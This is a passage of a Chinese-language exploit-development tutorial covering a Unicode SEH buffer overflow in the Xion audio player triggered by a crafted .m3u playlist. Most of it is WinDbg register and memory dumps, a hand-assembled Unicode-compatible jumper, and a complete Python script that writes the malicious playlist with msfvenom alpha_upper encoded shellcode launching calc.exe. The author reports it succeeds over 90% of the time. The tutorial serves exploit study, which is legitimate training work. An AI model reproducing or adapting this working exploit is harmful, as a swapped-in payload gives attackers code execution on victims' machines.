eip=04bfc2a6 esp=0012e7f4 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
DefaultPlaylist!XionPluginCreate+0x18776:
04bfc2a6 668902 mov word ptr [edx],ax ds:0023:00130000=6341
0:000> db 05073f58
05073f58 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
05073f68 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
05073f78 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
05073f88 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
05073f98 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
05073fa8 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
05073fb8 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
05073fc8 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
在触发异常时观察到,ecx作为复制的源地址也就是宽字节的地址,和原始文件内容的地址的相对偏移也应该是不变的,这里计算为0x75a0。
那么劫持eip的过程还是可以利用覆盖SEH handler来做,比较熟悉SEH原理的同学(《逆向工程核心原理》)可能知道,当pop pop ret
之后,esp指向的就是给handler传递的第三个处理参数——指向CONTEXT结构体的指针,而CONTEXT结构体则是用来备份异常发生时CPU寄存器的值,对其偏移0xac处保存的就是ecx中的值,调试也可验证如下(ecx保存着堆地址):
0:000> bp 00450015
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450015 esp=0012e298 ebp=0012e2b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Xion+0x50015:
00450015 5b pop ebx
0:000> dd esp
0012e298 77f071b9 0012e380 0012f254 0012e39c
0012e2a8 0012e354 0012f254 77f071cd 0012f254
0012e2b8 0012e368 77f0718b 0012e380 0012f254
0012e2c8 0012e39c 0012e354 00450015 00000000
0012e2d8 0012e380 0012f254 77edf96f 0012e380
0012e2e8 0012f254 0012e39c 0012e354 00450015
0012e2f8 0012f240 0012e380 04e715f8 00420042
0012e308 00420042 00000041 01e8ad00 00000043
0:000> dd 0012e39c+9c
0012e438 0012f240 04e715f8 04e71614 00130000
0012e448 05110628 00000042 0012f260 04c9c2a6
0012e458 0000001b 00210206 0012e7f4 00000023
0012e468 4020027f 00000000 04ccde4c 00000000
0012e478 00000000 00000000 00001fa0 0000ffff
0012e488 00000000 00000000 00000000 00000000
0012e498 00000000 00000000 00000000 00000000
0012e4a8 00000000 00000000 00000000 00000000
最终的思路就是,利用SEH劫持eip后,自己手写一段Unicode兼容的shellcode,取出保存的ecx的值,再增加一个偏移定位至原始的shellcode字符串,最后跳转至该地址执行shellcode。
结合前文几点有趣的发现,可以构造shellcode jumper如下:
# SEH overflow
\x61 popad
\x00\x6E\x00 add byte ptr [esi],ch
\x15\x00\x45\x00\x44 adc eax, 0x44004500
\x00\x6E\x00 add byte ptr [esi],ch
# mov edx, edi; add edx, 0xac; mov eax, [edx]
\xb9\x00\xac\x00\x11 mov ecx, 0x1100ac00
\x00\x6E\x00 add byte ptr [esi],ch
\x57 push edi
\x00\x6E\x00 add byte ptr [esi],ch
\x5a pop edx
\x00\xea add dl, ch
\x00\x6E\x00 add byte ptr [esi],ch
\xb9\x00\x01\x00\x11 mov ecx, 0x11000100
\x00\xee add dh, ch
\x00\x6E\x00 add byte ptr [esi],ch
\x52 push edx
\x00\x6E\x00 add byte ptr [esi],ch
\x5c pop esp
\x00\x6E\x00 add byte ptr [esi],ch
\x58 pop eax
\x00\x6E\x00 add byte ptr [esi],ch
# sub eax, 0x75a0 | 0x7300
\x05\x00\x01\x00\x11 add eax, 0x11000100
\x00\x6E\x00 add byte ptr [esi],ch
\x2d\x00\x74\x00\x11 sub eax, 0x11007400
\x00\x6E\x00 add byte ptr [esi],ch
# jmp eax
\x50 push eax
\x00\x6E\x00 add byte ptr [esi],ch
\xc3 ret
其中有三点需要说明一下:
- popad依次会pop出edi、esi、ebp、esp、ebx、edx、ecx、eax,所以edi中会保存CONTEXT结构体的指针,为了方便add的操作,所以先执行
move edx, edi
的操作。 - 因为
add dl, 0xac
会产生进位的结果,但又不会反应在dh上,所以进行了两次add操作。 - 根据偏移0x75a0可定位至原始shellcode的起始地址,为了越过开启的padding和jumper部分,偏移减少为0x7300,对应payload中偏移保持一致即可。
最后要考虑的就是使用什么样的shellcode了,和Part5一样加载的是playlist文件,最终还是使用encoder,使shellcode大部分为可见字符:
#!/usr/bin/env python3
padding = "A" * 265
next_seh = "\x61\x6e"
handler = "\x15\x45"
D = "\x44"
jumper = "\x6e\xb9\xac\x11\x6e\x57\x6e\x5a\xea\x6e\xb9\x01\x11\xee\x6e\x52\x6e\x5c\x6e\x58\x6e\x05\x01\x11\x6e\x2d\x74\x11\x6e\x50\x6e\xc3"
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/alpha_upper
# x86/alpha_upper succeeded with size 455 (iteration=0)
# x86/alpha_upper chosen with final size 455
# Successfully added NOP sled from x86/single_byte
# Payload size: 471 bytes
# Final size of python file: 2540 bytes
shellcode = ""
shellcode += "\x42\x9f\x43\x93\xd6\x48\x37\xf5\x92\x90\x4a\x93"
shellcode += "\x43\xf9\x92\x92\x89\xe3\xdb\xc9\xd9\x73\xf4\x5e"
shellcode += "\x56\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
shellcode += "\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50"
shellcode += "\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41"
shellcode += "\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
shellcode += "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
shellcode += "\x4c\x4b\x58\x4c\x42\x43\x30\x35\x50\x55\x50\x33"
shellcode += "\x50\x4d\x59\x5a\x45\x46\x51\x39\x50\x55\x34\x4c"
shellcode += "\x4b\x56\x30\x50\x30\x4c\x4b\x30\x52\x44\x4c\x4c"
shellcode += "\x4b\x30\x52\x42\x34\x4c\x4b\x43\x42\x46\x48\x54"
shellcode += "\x4f\x58\x37\x51\x5a\x51\x36\x36\x51\x4b\x4f\x4e"
shellcode += "\x4c\x37\x4c\x45\x31\x33\x4c\x35\x52\x46\x4c\x47"
shellcode += "\x50\x59\x51\x48\x4f\x44\x4d\x45\x51\x4f\x37\x4d"
shellcode += "\x32\x5a\x52\x46\x32\x56\x37\x4c\x4b\x56\x32\x42"
shellcode += "\x30\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x54"
shellcode += "\x51\x33\x48\x5a\x43\x51\x58\x35\x51\x48\x51\x50"
shellcode += "\x51\x4c\x4b\x31\x49\x51\x30\x53\x31\x49\x43\x4c"
shellcode += "\x4b\x51\x59\x45\x48\x5a\x43\x56\x5a\x50\x49\x4c"
shellcode += "\x4b\x37\x44\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b"
shellcode += "\x4f\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x53\x31\x59"
shellcode += "\x57\x36\x58\x4d\x30\x54\x35\x4b\x46\x45\x53\x53"
shellcode += "\x4d\x4b\x48\x37\x4b\x53\x4d\x57\x54\x32\x55\x4a"
shellcode += "\x44\x31\x48\x4c\x4b\x30\x58\x56\x44\x45\x51\x59"
shellcode += "\x43\x52\x46\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56"
shellcode += "\x38\x45\x4c\x45\x51\x59\x43\x4c\x4b\x55\x54\x4c"
shellcode += "\x4b\x33\x31\x58\x50\x4d\x59\x51\x54\x37\x54\x31"
shellcode += "\x34\x31\x4b\x51\x4b\x53\x51\x31\x49\x51\x4a\x46"
shellcode += "\x31\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x31\x4a\x4c"
shellcode += "\x4b\x52\x32\x5a\x4b\x4c\x4d\x51\x4d\x42\x4a\x33"
shellcode += "\x31\x4c\x4d\x4c\x45\x4e\x52\x55\x50\x53\x30\x43"
shellcode += "\x30\x50\x50\x45\x38\x56\x51\x4c\x4b\x32\x4f\x4b"
shellcode += "\x37\x4b\x4f\x49\x45\x4f\x4b\x4a\x50\x48\x35\x4f"
shellcode += "\x52\x30\x56\x33\x58\x59\x36\x4c\x55\x4f\x4d\x4d"
shellcode += "\x4d\x4b\x4f\x58\x55\x57\x4c\x44\x46\x53\x4c\x35"
shellcode += "\x5a\x4b\x30\x4b\x4b\x4d\x30\x33\x45\x53\x35\x4f"
shellcode += "\x4b\x37\x37\x35\x43\x42\x52\x42\x4f\x42\x4a\x45"
shellcode += "\x50\x46\x33\x4b\x4f\x49\x45\x43\x53\x35\x31\x52"
shellcode += "\x4c\x43\x53\x56\x4e\x33\x55\x32\x58\x52\x45\x53"
shellcode += "\x30\x41\x41"
payload = ""
payload += padding + next_seh + handler + D + jumper
payload += "B" * (0x2a0 - len(payload))
payload += shellcode
payload += "E" * (5000 - len(payload))
with open("crash.m3u", "wt", encoding="latin-1") as f:
f.write(payload)
最终的exploit成功率有90%多,其中出错的情况没有深究,这里猜测是堆上的相对偏移有可能发生了变化,跳转至shellcode时导致异常。如果对于输入文件的内容长度没有限制的话,也可以考虑使用堆喷的方法来实现跳转,感兴趣的同学可以自行探索。
0x03 总结
有时候在危险函数或者关键函数下断点逆推函数调用流程,比正向逆向工程效率会更高一些。漏洞点是相似的,只要弄清楚了Unicode是如何转化的,再结合指令集的特性,漏洞利用的难度并没有想象中那么可怕。其实原文中实践了两个漏洞案例,第二漏洞因为栈空间不足无法拷贝完整的shellcode,也可以考虑覆盖返回地址、跳转至原始shellcode或者egg hunter等方法,篇幅所限就让我们在下一个part中见真章吧。
理解虚无,享受过程,莫思身外无穷事,且尽生前有限杯,逻辑也是个好东西。